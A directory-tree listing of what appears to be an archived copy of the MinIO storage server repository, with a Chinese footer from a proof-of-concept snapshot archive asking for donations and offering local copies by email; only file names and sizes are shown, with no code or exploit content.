│ │ │ ├── [4.6K] __init__.py
│ │ │ └── [2.5K] sts_element.py
│ │ ├── [3.3K] client-grants.go
│ │ ├── [7.2K] client-grants.md
│ │ ├── [1.2K] client-grants.py
│ │ ├── [3.4K] custom-token-identity.go
│ │ ├── [3.0K] custom-token-identity.md
│ │ ├── [3.8K] dex.md
│ │ ├── [2.7K] dex.yaml
│ │ ├── [3.4K] etcd.md
│ │ ├── [8.1K] keycloak.md
│ │ ├── [4.0K] ldap.go
│ │ ├── [ 18K] ldap.md
│ │ ├── [7.8K] README.md
│ │ ├── [ 201] rw-ldap-username.json
│ │ ├── [6.0K] tls.md
│ │ ├── [7.7K] web-identity.go
│ │ ├── [ 19K] web-identity.md
│ │ ├── [2.9K] web-identity.py
│ │ └── [8.7K] wso2.md
│ ├── [4.0K] throttle
│ │ └── [2.4K] README.md
│ └── [4.0K] tls
│ ├── [4.0K] kubernetes
│ │ └── [3.0K] README.md
│ └── [8.4K] README.md
├── [10.0K] go.mod
├── [165K] go.sum
├── [4.0K] helm
│ └── [4.0K] minio
│ ├── [ 369] Chart.yaml
│ ├── [ 10K] README.md
│ ├── [4.0K] templates
│ │ ├── [1.2K] configmap.yaml
│ │ ├── [1.7K] console-ingress.yaml
│ │ ├── [1.5K] console-service.yaml
│ │ ├── [7.8K] deployment.yaml
│ │ ├── [3.7K] _helper_create_bucket.txt
│ │ ├── [2.0K] _helper_create_policy.txt
│ │ ├── [3.4K] _helper_create_svcacct.txt
│ │ ├── [3.1K] _helper_create_user.txt
│ │ ├── [1.4K] _helper_custom_command.txt
│ │ ├── [ 837] _helper_policy.tpl
│ │ ├── [6.3K] _helpers.tpl
│ │ ├── [1.6K] ingress.yaml
│ │ ├── [ 812] networkpolicy.yaml
│ │ ├── [2.7K] NOTES.txt
│ │ ├── [ 494] poddisruptionbudget.yaml
│ │ ├── [9.7K] post-job.yaml
│ │ ├── [1.0K] pvc.yaml
│ │ ├── [ 752] secrets.yaml
│ │ ├── [1.1K] securitycontextconstraints.yaml
│ │ ├── [ 195] serviceaccount.yaml
│ │ ├── [3.9K] servicemonitor.yaml
│ │ ├── [1.4K] service.yaml
│ │ └── [9.6K] statefulset.yaml
│ └── [ 16K] values.yaml
├── [ 121] helm-reindex.sh
├── [4.0K] helm-releases
│ ├── [ 14K] minio-1.0.0.tgz
│ ├── [ 14K] minio-1.0.1.tgz
│ ├── [ 14K] minio-1.0.2.tgz
│ ├── [ 14K] minio-1.0.3.tgz
│ ├── [ 14K] minio-1.0.4.tgz
│ ├── [ 14K] minio-1.0.5.tgz
│ ├── [ 14K] minio-2.0.0.tgz
│ ├── [ 14K] minio-2.0.1.tgz
│ ├── [ 14K] minio-3.0.0.tgz
│ ├── [ 14K] minio-3.0.1.tgz
│ ├── [ 14K] minio-3.0.2.tgz
│ ├── [ 14K] minio-3.1.0.tgz
│ ├── [ 14K] minio-3.1.1.tgz
│ ├── [ 14K] minio-3.1.2.tgz
│ ├── [ 14K] minio-3.1.3.tgz
│ ├── [ 14K] minio-3.1.4.tgz
│ ├── [ 14K] minio-3.1.5.tgz
│ ├── [ 14K] minio-3.1.6.tgz
│ ├── [ 15K] minio-3.1.7.tgz
│ ├── [ 15K] minio-3.1.8.tgz
│ ├── [ 15K] minio-3.1.9.tgz
│ ├── [ 15K] minio-3.2.0.tgz
│ ├── [ 15K] minio-3.3.0.tgz
│ ├── [ 15K] minio-3.3.1.tgz
│ ├── [ 15K] minio-3.3.2.tgz
│ ├── [ 15K] minio-3.3.3.tgz
│ ├── [ 15K] minio-3.3.4.tgz
│ ├── [ 15K] minio-3.4.0.tgz
│ ├── [ 15K] minio-3.4.1.tgz
│ ├── [ 15K] minio-3.4.2.tgz
│ ├── [ 18K] minio-3.4.3.tgz
│ ├── [ 15K] minio-3.4.4.tgz
│ ├── [ 15K] minio-3.4.5.tgz
│ ├── [ 15K] minio-3.4.6.tgz
│ ├── [ 15K] minio-3.4.7.tgz
│ ├── [ 15K] minio-3.4.8.tgz
│ ├── [ 15K] minio-3.5.0.tgz
│ ├── [ 15K] minio-3.5.1.tgz
│ ├── [ 15K] minio-3.5.2.tgz
│ ├── [ 15K] minio-3.5.3.tgz
│ ├── [ 17K] minio-3.5.4.tgz
│ ├── [ 17K] minio-3.5.5.tgz
│ ├── [ 18K] minio-3.5.6.tgz
│ ├── [ 18K] minio-3.5.7.tgz
│ ├── [ 18K] minio-3.5.8.tgz
│ ├── [ 18K] minio-3.5.9.tgz
│ ├── [ 18K] minio-3.6.0.tgz
│ ├── [ 18K] minio-3.6.1.tgz
│ ├── [ 18K] minio-3.6.2.tgz
│ ├── [ 18K] minio-3.6.3.tgz
│ ├── [ 18K] minio-3.6.4.tgz
│ ├── [ 18K] minio-3.6.5.tgz
│ ├── [ 18K] minio-3.6.6.tgz
│ ├── [ 18K] minio-4.0.0.tgz
│ ├── [ 19K] minio-4.0.10.tgz
│ ├── [ 19K] minio-4.0.11.tgz
│ ├── [ 19K] minio-4.0.12.tgz
│ ├── [ 19K] minio-4.0.13.tgz
│ ├── [ 20K] minio-4.0.14.tgz
│ ├── [ 20K] minio-4.0.15.tgz
│ ├── [ 18K] minio-4.0.1.tgz
│ ├── [ 18K] minio-4.0.2.tgz
│ ├── [ 18K] minio-4.0.3.tgz
│ ├── [ 18K] minio-4.0.4.tgz
│ ├── [ 18K] minio-4.0.5.tgz
│ ├── [ 18K] minio-4.0.6.tgz
│ ├── [ 19K] minio-4.0.7.tgz
│ ├── [ 19K] minio-4.0.8.tgz
│ ├── [ 19K] minio-4.0.9.tgz
│ ├── [ 20K] minio-4.1.0.tgz
│ ├── [ 20K] minio-5.0.0.tgz
│ ├── [ 20K] minio-5.0.1.tgz
│ ├── [ 20K] minio-5.0.2.tgz
│ ├── [ 20K] minio-5.0.3.tgz
│ ├── [ 20K] minio-5.0.4.tgz
│ ├── [ 20K] minio-5.0.5.tgz
│ ├── [ 20K] minio-5.0.6.tgz
│ └── [ 20K] minio-5.0.7.tgz
├── [ 48K] index.yaml
├── [4.0K] internal
│ ├── [4.0K] amztime
│ │ ├── [1.9K] iso8601_time.go
│ │ ├── [1.8K] iso8601_time_test.go
│ │ ├── [2.2K] parse.go
│ │ └── [1.6K] parse_test.go
│ ├── [4.0K] arn
│ │ └── [3.6K] arn.go
│ ├── [4.0K] auth
│ │ ├── [9.9K] credentials.go
│ │ └── [5.4K] credentials_test.go
│ ├── [4.0K] bpool
│ │ ├── [2.0K] bpool.go
│ │ └── [2.6K] bpool_test.go
│ ├── [4.0K] bucket
│ │ ├── [4.0K] bandwidth
│ │ │ ├── [2.9K] measurement.go
│ │ │ ├── [6.6K] monitor.go
│ │ │ ├── [3.7K] monitor_test.go
│ │ │ └── [2.9K] reader.go
│ │ ├── [4.0K] encryption
│ │ │ ├── [4.9K] bucket-sse-config.go
│ │ │ └── [6.1K] bucket-sse-config_test.go
│ │ ├── [4.0K] lifecycle
│ │ │ ├── [ 956] action_string.go
│ │ │ ├── [1.9K] and.go
│ │ │ ├── [1.3K] error.go
│ │ │ ├── [5.9K] expiration.go
│ │ │ ├── [3.5K] expiration_test.go
│ │ │ ├── [4.4K] filter.go
│ │ │ ├── [3.1K] filter_test.go
│ │ │ ├── [ 15K] lifecycle.go
│ │ │ ├── [ 39K] lifecycle_test.go
│ │ │ ├── [5.3K] noncurrentversion.go
│ │ │ ├── [2.1K] noncurrentversion_test.go
│ │ │ ├── [1.4K] prefix.go
│ │ │ ├── [4.5K] rule.go
│ │ │ ├── [2.6K] rule_test.go
│ │ │ ├── [2.4K] tag.go
│ │ │ ├── [5.1K] transition.go
│ │ │ └── [2.3K] transition_test.go
│ │ ├── [4.0K] object
│ │ │ └── [4.0K] lock
│ │ │ ├── [ 17K] lock.go
│ │ │ └── [ 17K] lock_test.go
│ │ ├── [4.0K] replication
│ │ │ ├── [1.8K] and.go
│ │ │ ├── [1.2K] datatypes_gen.go
│ │ │ ├── [ 79] datatypes_gen_test.go
│ │ │ ├── [1.5K] datatypes.go
│ │ │ ├── [4.0K] destination.go
│ │ │ ├── [1.3K] error.go
│ │ │ ├── [3.5K] filter.go
│ │ │ ├── [9.0K] replication.go
│ │ │ ├── [ 33K] replication_test.go
│ │ │ ├── [8.3K] rule.go
│ │ │ ├── [4.6K] rule_test.go
│ │ │ ├── [2.5K] sourceselectioncriteria.go
│ │ │ └── [1.6K] tag.go
│ │ └── [4.0K] versioning
│ │ ├── [1.3K] error.go
│ │ ├── [4.6K] versioning.go
│ │ └── [8.8K] versioning_test.go
│ ├── [4.0K] color
│ │ └── [3.7K] color.go
│ ├── [4.0K] config
│ │ ├── [4.0K] api
│ │ │ ├── [8.8K] api.go
│ │ │ └── [3.8K] help.go
│ │ ├── [2.3K] bool-flag.go
│ │ ├── [3.5K] bool-flag_test.go
│ │ ├── [4.0K] cache
│ │ │ ├── [5.1K] config.go
│ │ │ ├── [4.2K] config_test.go
│ │ │ ├── [2.8K] help.go
│ │ │ ├── [1.5K] legacy.go
│ │ │ └── [6.4K] lookup.go
│ │ ├── [4.0K] callhome
│ │ │ ├── [2.6K] callhome.go
│ │ │ └── [1.4K] help.go
│ │ ├── [3.8K] certs.go
│ │ ├── [3.1K] certsinfo.go
│ │ ├── [ 22K] certs_test.go
│ │ ├── [4.0K] compress
│ │ │ ├── [4.9K] compress.go
│ │ │ ├── [1.8K] compress_test.go
│ │ │ ├── [1.8K] help.go
│ │ │ └── [1.8K] legacy.go
│ │ ├── [ 34K] config.go
│ │ ├── [4.2K] config_test.go
│ │ ├── [2.4K] constants.go
│ │ ├── [4.8K] crypto.go
│ │ ├── [3.2K] crypto_test.go
│ │ ├── [4.0K] dns
│ │ │ ├── [8.3K] etcd_dns.go
│ │ │ ├── [6.6K] operator_dns.go
│ │ │ ├── [1.6K] store.go
│ │ │ └── [2.0K] types.go
│ │ ├── [ 10K] errors.go
│ │ ├── [3.7K] errors-utils.go
│ │ ├── [4.0K] etcd
│ │ │ ├── [4.8K] etcd.go
│ │ │ ├── [2.1K] etcd_test.go
│ │ │ └── [2.1K] help.go
│ │ ├── [4.0K] heal
│ │ │ ├── [4.1K] heal.go
│ │ │ └── [1.6K] help.go
│ │ ├── [2.7K] help.go
│ │ ├── [4.0K] identity
│ │ │ ├── [4.0K] ldap
│ │ │ │ ├── [7.6K] config.go
│ │ │ │ ├── [3.6K] help.go
│ │ │ │ ├── [9.4K] ldap.go
│ │ │ │ └── [2.2K] legacy.go
│ │ │ ├── [4.0K] openid
│ │ │ │ ├── [1.8K] ecdsa-sha3_contrib.go
│ │ │ │ ├── [4.3K] help.go
│ │ │ │ ├── [2.9K] jwks.go
│ │ │ │ ├── [9.8K] jwks_test.go
│ │ │ │ ├── [8.6K] jwt.go
│ │ │ │ ├── [8.3K] jwt_test.go
│ │ │ │ ├── [ 16K] openid.go
│ │ │ │ ├── [4.0K] provider
│ │ │ │ │ ├── [4.6K] keycloak.go
│ │ │ │ │ └── [2.7K] provider.go
│ │ │ │ ├── [4.6K] providercfg.go
│ │ │ │ └── [1.7K] rsa-sha3_contrib.go
│ │ │ ├── [4.0K] plugin
│ │ │ │ └── [ 13K] config.go
│ │ │ └── [4.0K] tls
│ │ │ └── [3.6K] config.go
│ │ ├── [4.0K] lambda
│ │ │ ├── [1.3K] config.go
│ │ │ ├── [4.0K] event
│ │ │ │ ├── [1.6K] arn.go
│ │ │ │ ├── [2.2K] arn_test.go
│ │ │ │ ├── [1.3K] errors.go
│ │ │ │ ├── [2.6K] event.go
│ │ │ │ ├── [1.8K] targetid.go
│ │ │ │ ├── [1.9K] targetidset.go
│ │ │ │ ├── [3.9K] targetidset_test.go
│ │ │ │ ├── [3.5K] targetid_test.go
│ │ │ │ └── [4.3K] targetlist.go
│ │ │ ├── [1.8K] help.go
│ │ │ ├── [5.8K] parse.go
│ │ │ └── [4.0K] target
│ │ │ ├── [1.3K] lazyinit.go
│ │ │ └── [6.6K] webhook.go
│ │ ├── [1.1K] legacy.go
│ │ ├── [4.0K] notify
│ │ │ ├── [2.8K] config.go
│ │ │ ├── [ 18K] help.go
│ │ │ ├── [ 13K] legacy.go
│ │ │ └── [ 44K] parse.go
│ │ ├── [4.0K] policy
│ │ │ ├── [4.0K] opa
│ │ │ │ ├── [5.2K] config.go
│ │ │ │ ├── [1.6K] help.go
│ │ │ │ └── [1.4K] legacy.go
│ │ │ └── [4.0K] plugin
│ │ │ ├── [5.8K] config.go
│ │ │ └── [1.8K] help.go
│ │ ├── [4.0K] scanner
│ │ │ ├── [1.2K] help.go
│ │ │ └── [3.7K] scanner.go
│ │ ├── [4.0K] storageclass
│ │ │ ├── [1.5K] help.go
│ │ │ ├── [1.3K] legacy.go
│ │ │ ├── [8.6K] storage-class.go
│ │ │ └── [4.3K] storage-class_test.go
│ │ └── [4.0K] subnet
│ │ ├── [3.5K] config.go
│ │ ├── [1.7K] help.go
│ │ └── [2.9K] subnet.go
│ ├── [4.0K] crypto
│ │ ├── [1.4K] auto-encryption.go
│ │ ├── [5.0K] doc.go
│ │ ├── [4.0K] error.go
│ │ ├── [2.9K] header.go
│ │ ├── [ 21K] header_test.go
│ │ ├── [6.3K] key.go
│ │ ├── [6.8K] key_test.go
│ │ ├── [6.2K] metadata.go
│ │ ├── [ 19K] metadata_test.go
│ │ ├── [5.2K] sse-c.go
│ │ ├── [4.4K] sse.go
│ │ ├── [8.4K] sse-kms.go
│ │ ├── [8.5K] sse-s3.go
│ │ └── [8.4K] sse_test.go
│ ├── [4.0K] deadlineconn
│ │ ├── [2.3K] deadlineconn.go
│ │ └── [3.0K] deadlineconn_test.go
│ ├── [4.0K] disk
│ │ ├── [1.3K] directio_darwin.go
│ │ ├── [1.5K] directio_unix.go
│ │ ├── [2.6K] directio_unsupported.go
│ │ ├── [1.8K] disk.go
│ │ ├── [1.1K] disk_test.go
│ │ ├── [1.2K] disk_unix.go
│ │ ├── [ 951] disk_windows.go
│ │ ├── [1.8K] fdatasync_linux.go
│ │ ├── [1.1K] fdatasync_unix.go
│ │ ├── [1.0K] fdatasync_unsupported.go
│ │ ├── [1.1K] root_disk.go
│ │ ├── [1.7K] stat_bsd.go
│ │ ├── [1.7K] stat_freebsd.go
│ │ ├── [2.6K] stat_linux_32bit.go
│ │ ├── [4.6K] stat_linux.go
│ │ ├── [2.6K] stat_linux_s390x.go
│ │ ├── [1.7K] stat_netbsd.go
│ │ ├── [1.8K] stat_openbsd.go
│ │ ├── [1.7K] stat_solaris.go
│ │ ├── [4.1K] stat_windows.go
│ │ ├── [1.1K] type_bsd.go
│ │ ├── [1.6K] type_linux.go
│ │ └── [2.2K] type_windows.go
│ ├── [4.0K] dsync
│ │ ├── [ 20K] drwmutex.go
│ │ ├── [9.7K] drwmutex_test.go
│ │ ├── [4.4K] dsync-client_test.go
│ │ ├── [1.0K] dsync.go
│ │ ├── [8.3K] dsync-server_test.go
│ │ ├── [ 11K] dsync_test.go
│ │ ├── [5.7K] lock-args_gen.go
│ │ ├── [2.2K] lock-args_gen_test.go
│ │ ├── [1.4K] lock-args.go
│ │ ├── [1.3K] locked_rand.go
│ │ └── [2.7K] locker.go
│ ├── [4.0K] etag
│ │ ├── [ 13K] etag.go
│ │ ├── [ 13K] etag_test.go
│ │ └── [3.9K] reader.go
│ ├── [4.0K] event
│ │ ├── [2.1K] arn.go
│ │ ├── [3.8K] arn_test.go
│ │ ├── [8.4K] config.go
│ │ ├── [ 29K] config_test.go
│ │ ├── [4.1K] errors.go
│ │ ├── [3.3K] event.go
│ │ ├── [9.5K] name.go
│ │ ├── [6.7K] name_test.go
│ │ ├── [2.7K] rules.go
│ │ ├── [2.6K] rulesmap.go
│ │ ├── [6.8K] rulesmap_test.go
│ │ ├── [8.8K] rules_test.go
│ │ ├── [4.0K] target
│ │ │ ├── [9.6K] amqp.go
│ │ │ ├── [ 940] common.go
│ │ │ ├── [ 15K] elasticsearch.go
│ │ │ ├── [9.6K] kafka.go
│ │ │ ├── [3.2K] kafka_scram_client_contrib.go
│ │ │ ├── [1.3K] lazyinit.go
│ │ │ ├── [7.8K] mqtt.go
│ │ │ ├── [ 11K] mysql.go
│ │ │ ├── [1.1K] mysql_test.go
│ │ │ ├── [2.2K] nats_contrib_test.go
│ │ │ ├── [ 12K] nats.go
│ │ │ ├── [2.1K] nats_tls_contrib_test.go
│ │ │ ├── [6.7K] nsq.go
│ │ │ ├── [2.2K] nsq_test.go
│ │ │ ├── [ 12K] postgresql.go
│ │ │ ├── [1.1K] postgresql_test.go
│ │ │ ├── [4.7K] queuestore.go
│ │ │ ├── [5.8K] queuestore_test.go
│ │ │ ├── [8.4K] redis.go
│ │ │ ├── [3.8K] store.go
│ │ │ ├── [4.0K] testdata
│ │ │ │ └── [4.0K] contrib
│ │ │ │ ├── [4.0K] certs
│ │ │ │ │ ├── [ 769] nats_client_cert.pem
│ │ │ │ │ ├── [ 227] nats_client_key.pem
│ │ │ │ │ ├── [ 680] nats_server_cert.pem
│ │ │ │ │ ├── [ 227] nats_server_key.pem
│ │ │ │ │ ├── [ 611] root_ca_cert.pem
│ │ │ │ │ └── [ 227] root_ca_key.pem
│ │ │ │ ├── [ 426] nats_tls_client_cert.conf
│ │ │ │ └── [ 163] nats_tls.conf
│ │ │ └── [8.3K] webhook.go
│ │ ├── [1.8K] targetid.go
│ │ ├── [1.9K] targetidset.go
│ │ ├── [3.9K] targetidset_test.go
│ │ ├── [3.5K] targetid_test.go
│ │ ├── [5.2K] targetlist.go
│ │ └── [7.1K] targetlist_test.go
│ ├── [4.0K] fips
│ │ ├── [5.1K] api.go
│ │ ├── [ 860] fips.go
│ │ ├── [ 831] go19.go
│ │ ├── [ 833] no_fips.go
│ │ └── [ 834] no_go19.go
│ ├── [4.0K] handlers
│ │ ├── [5.1K] forwarder.go
│ │ ├── [4.8K] proxy.go
│ │ └── [3.2K] proxy_test.go
│ ├── [4.0K] hash
│ │ ├── [8.6K] checksum.go
│ │ ├── [2.0K] errors.go
│ │ ├── [7.9K] reader.go
│ │ ├── [9.9K] reader_test.go
│ │ └── [4.0K] sha256
│ │ ├── [1.3K] sh256_fips.go
│ │ └── [1.2K] sh256_nofips.go
│ ├── [4.0K] http
│ │ ├── [1.6K] close.go
│ │ ├── [2.2K] dial_dnscache.go
│ │ ├── [3.7K] dial_linux.go
│ │ ├── [1.6K] dial_others.go
│ │ ├── [8.9K] headers.go
│ │ ├── [3.1K] lambda-headers.go
│ │ ├── [5.1K] listener.go
│ │ ├── [ 11K] listener_test.go
│ │ ├── [1.0K] listen_nix.go
│ │ ├── [ 935] listen_others.go
│ │ ├── [1.8K] request-recorder.go
│ │ ├── [4.0K] response-recorder.go
│ │ ├── [6.5K] server.go
│ │ ├── [2.9K] server_test.go
│ │ ├── [4.0K] stats
│ │ │ └── [1.9K] http-traffic-recorder.go
│ │ └── [5.8K] transports.go
│ ├── [4.0K] init
│ │ ├── [1.3K] init_darwin_amd64.go
│ │ └── [ 874] init.go
│ ├── [4.0K] ioutil
│ │ ├── [1.3K] append-file_nix.go
│ │ ├── [1.2K] append-file_windows.go
│ │ ├── [7.7K] ioutil.go
│ │ ├── [4.2K] ioutil_test.go
│ │ ├── [3.3K] odirect_reader.go
│ │ ├── [2.5K] read_file.go
│ │ ├── [ 893] read_file_noatime_notsupported.go
│ │ ├── [ 937] read_file_noatime_supported.go
│ │ └── [1.7K] wait_pipe.go
│ ├── [4.0K] jwt
│ │ ├── [ 14K] parser.go
│ │ └── [6.0K] parser_test.go
│ ├── [4.0K] kms
│ │ ├── [1.9K] config.go
│ │ ├── [6.0K] context.go
│ │ ├── [2.2K] dek_test.go
│ │ ├── [ 972] errors.go
│ │ ├── [1.9K] identity-manager.go
│ │ ├── [ 13K] kes.go
│ │ ├── [1.8K] key-manager.go
│ │ ├── [4.3K] kms.go
│ │ ├── [2.1K] policy-manager.go
│ │ ├── [7.7K] single-key.go
│ │ ├── [3.0K] single-key_test.go
│ │ └── [1.1K] status-manager.go
│ ├── [4.0K] lock
│ │ ├── [2.5K] lock.go
│ │ ├── [2.8K] lock_nix.go
│ │ ├── [2.8K] lock_solaris.go
│ │ ├── [3.6K] lock_test.go
│ │ ├── [7.9K] lock_windows.go
│ │ └── [2.2K] lock_windows_test.go
│ ├── [4.0K] logger
│ │ ├── [4.8K] audit.go
│ │ ├── [ 18K] config.go
│ │ ├── [5.6K] console.go
│ │ ├── [5.3K] help.go
│ │ ├── [2.0K] legacy.go
│ │ ├── [ 10K] logger.go
│ │ ├── [3.7K] logonce.go
│ │ ├── [4.0K] message
│ │ │ └── [4.0K] audit
│ │ │ └── [2.2K] entry.go
│ │ ├── [4.1K] reqinfo.go
│ │ ├── [4.0K] target
│ │ │ ├── [4.0K] console
│ │ │ │ └── [3.8K] console.go
│ │ │ ├── [4.0K] http
│ │ │ │ └── [ 11K] http.go
│ │ │ ├── [4.0K] kafka
│ │ │ │ ├── [6.4K] kafka.go
│ │ │ │ └── [3.3K] kafka_scram_client_contrib.go
│ │ │ └── [4.0K] types
│ │ │ ├── [ 703] targettype_string.go
│ │ │ └── [1.4K] types.go
│ │ ├── [6.1K] targets.go
│ │ └── [1.7K] utils.go
│ ├── [4.0K] lsync
│ │ ├── [4.8K] lrwmutex.go
│ │ └── [7.9K] lrwmutex_test.go
│ ├── [4.0K] mcontext
│ │ └── [1.3K] ctxt.go
│ ├── [4.0K] mountinfo
│ │ ├── [1.1K] mountinfo.go
│ │ ├── [4.7K] mountinfo_linux.go
│ │ ├── [7.3K] mountinfo_linux_test.go
│ │ ├── [1.1K] mountinfo_others.go
│ │ └── [2.0K] mountinfo_windows.go
│ ├── [4.0K] pubsub
│ │ ├── [1.3K] mask.go
│ │ ├── [3.4K] pubsub.go
│ │ └── [5.8K] pubsub_test.go
│ ├── [4.0K] rest
│ │ ├── [ 11K] client.go
│ │ ├── [1.9K] client_test.go
│ │ └── [2.3K] rpc-stats.go
│ ├── [4.0K] s3select
│ │ ├── [4.0K] csv
│ │ │ ├── [5.4K] args.go
│ │ │ ├── [1.6K] errors.go
│ │ │ ├── [ 39K] reader_contrib_test.go
│ │ │ ├── [8.9K] reader.go
│ │ │ ├── [4.1K] record.go
│ │ │ ├── [2.1K] recordtransform.go
│ │ │ └── [4.0K] testdata
│ │ │ └── [112K] testdata.zip
│ │ ├── [4.3K] errors.go
│ │ ├── [4.4K] genmessage.go
│ │ ├── [4.0K] json
│ │ │ ├── [2.7K] args.go
│ │ │ ├── [1.6K] errors.go
│ │ │ ├── [6.4K] preader.go
│ │ │ ├── [2.5K] preader_test.go
│ │ │ ├── [3.0K] reader.go
│ │ │ ├── [2.5K] reader_test.go
│ │ │ ├── [5.2K] record.go
│ │ │ └── [4.0K] testdata
│ │ │ ├── [ 100] 10.json
│ │ │ ├── [ 36] 11.json
│ │ │ ├── [ 29] 12.json
│ │ │ ├── [ 35] 2.json
│ │ │ ├── [ 20] 3.json
│ │ │ ├── [ 607] 4.json
│ │ │ ├── [ 32] 5.json
│ │ │ ├── [ 79] 6.json
│ │ │ ├── [ 86] 7.json
│ │ │ ├── [ 11] 8.json
│ │ │ └── [ 49] 9.json
│ │ ├── [ 15K] message.go
│ │ ├── [4.0K] parquet
│ │ │ ├── [1.4K] args.go
│ │ │ ├── [1.4K] errors.go
│ │ │ └── [4.5K] reader.go
│ │ ├── [4.2K] progress.go
│ │ ├── [5.0K] select_benchmark_test.go
│ │ ├── [ 21K] select.go
│ │ ├── [ 75K] select_test.go
│ │ ├── [4.0K] simdj
│ │ │ ├── [1.4K] errors.go
│ │ │ ├── [3.9K] reader_amd64_test.go
│ │ │ ├── [4.5K] reader.go
│ │ │ ├── [5.4K] record.go
│ │ │ └── [4.0K] testdata
│ │ │ └── [ 693] parking-citations-10.json.zst
│ │ ├── [4.0K] sql
│ │ │ ├── [7.9K] aggregation.go
│ │ │ ├── [8.0K] analysis.go
│ │ │ ├── [2.6K] errors.go
│ │ │ ├── [ 12K] evaluate.go
│ │ │ ├── [ 13K] funceval.go
│ │ │ ├── [4.0K] jsondata
│ │ │ │ └── [1.9K] books.json
│ │ │ ├── [3.4K] jsonpath.go
│ │ │ ├── [2.8K] jsonpath_test.go
│ │ │ ├── [ 13K] parser.go
│ │ │ ├── [8.8K] parser_test.go
│ │ │ ├── [3.4K] record.go
│ │ │ ├── [8.6K] statement.go
│ │ │ ├── [1.2K] stringfuncs_contrib_test.go
│ │ │ ├── [4.2K] stringfuncs.go
│ │ │ ├── [3.1K] stringfuncs_test.go
│ │ │ ├── [4.8K] timestampfuncs.go
│ │ │ ├── [2.2K] timestampfuncs_test.go
│ │ │ ├── [3.6K] utils.go
│ │ │ ├── [1.0K] value_contrib.go
│ │ │ ├── [ 20K] value.go
│ │ │ └── [ 12K] value_test.go
│ │ ├── [4.0K] testdata
│ │ │ ├── [ 213] lineitem_shipdate.parquet
│ │ │ └── [1.5K] testdata.parquet
│ │ └── [ 17K] unused-errors.go
│ ├── [4.0K] sync
│ │ └── [4.0K] errgroup
│ │ ├── [3.7K] errgroup.go
│ │ └── [1.4K] errgroup_test.go
│ └── [4.0K] workers
│ ├── [1.6K] workers.go
│ └── [3.0K] workers_test.go
├── [ 34K] LICENSE
├── [ 973] main.go
├── [7.5K] Makefile
├── [ 367] NOTICE
├── [ 869] README.fips.md
├── [2.0K] README.md
├── [ 19K] README_origin.md
├── [4.0K] resource
│ ├── [868K] image-20230327164103832.png
│ └── [1.1M] image-20230327164128648.png
├── [2.2K] SECURITY.md
└── [1.5K] VULNERABILITY_REPORT.md
179 directories, 1118 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。